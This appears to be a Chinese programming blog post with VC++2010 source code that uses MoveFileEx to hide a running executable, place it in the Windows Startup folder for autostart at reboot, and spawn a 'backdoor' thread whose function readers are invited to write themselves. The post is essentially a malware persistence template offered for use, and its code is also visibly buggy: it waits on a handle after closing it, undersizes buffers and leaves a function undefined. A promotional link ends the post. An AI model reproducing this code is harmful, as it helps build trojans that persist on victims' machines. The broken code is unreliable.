基于VC++2010利用API函数MoveFileEx实现程序的隐藏 自启动与自删除

               

 

详细代码如下

#include "stdafx.h"//#include "shell.h"void usage(char *);#pragma comment(linker,"/SUBSYSTEM:WINDOWS")int WINAPI WinMain(       HINSTANCE hInstance,  // handle to current instance       HINSTANCE hPrevInstance,  // handle to previous instance       LPSTR lpCmdLine,      // pointer to command line       int nCmdShow          // show state of window       ){  ::MessageBox(NULL,"I'm Hear","test",MB_OK); //得到启动目录  char szPath[100]={0}; ::GetSystemDirectory(szPath,MAX_PATH); char szDst[100]={0}; for (int i=0; i<3;i++)  szDst[i]=szPath[i]; strcat(szDst,"Documents and Settings//All Users//「开始」菜单//程序//启动//FUCK.EXE"); //printf("/n/t 现在的目录是%s/n",szDst); //得到当前程序名 TCHAR szCurPath[MAX_PATH];   memset(szCurPath,   0,   MAX_PATH);    GetModuleFileName(NULL,   szCurPath,   sizeof(szCurPath)/sizeof(TCHAR)); if (!(MoveFileEx(szCurPath,"c://RECYCLER//FK.BAK",MOVEFILE_REPLACE_EXISTING)))//若是要在不同的volume下移动文件,需要此项COPY_ALLOWED //printf("第一次移动失败/n");  ::MessageBox(NULL,"第一次移动文件失败","test",MB_OK);   if(!::MoveFileEx("c://RECYCLER//FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))  {    ::MessageBox(NULL,"移动文件失败","test",MB_OK);   }  else printf("任务完成/n");  /*system("pause");*/   //创建并等待线程   //StartShell 为后门线程函数，大家可以自己实现相应的功能  HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);  CloseHandle(hthread);  ::WaitForSingleObject(hthread,INFINITE);   return 0;}void usage(char * s){ printf(" 用法:MoveFile 原文件名 移动后的文件名/n" }

           

再分享一下我老师大神的人工智能教程吧。零基础！通俗易懂！风趣幽默！还带黄段子！希望你也加入到我们人工智能的队伍中来！https://blog.csdn.net/jiangjunshow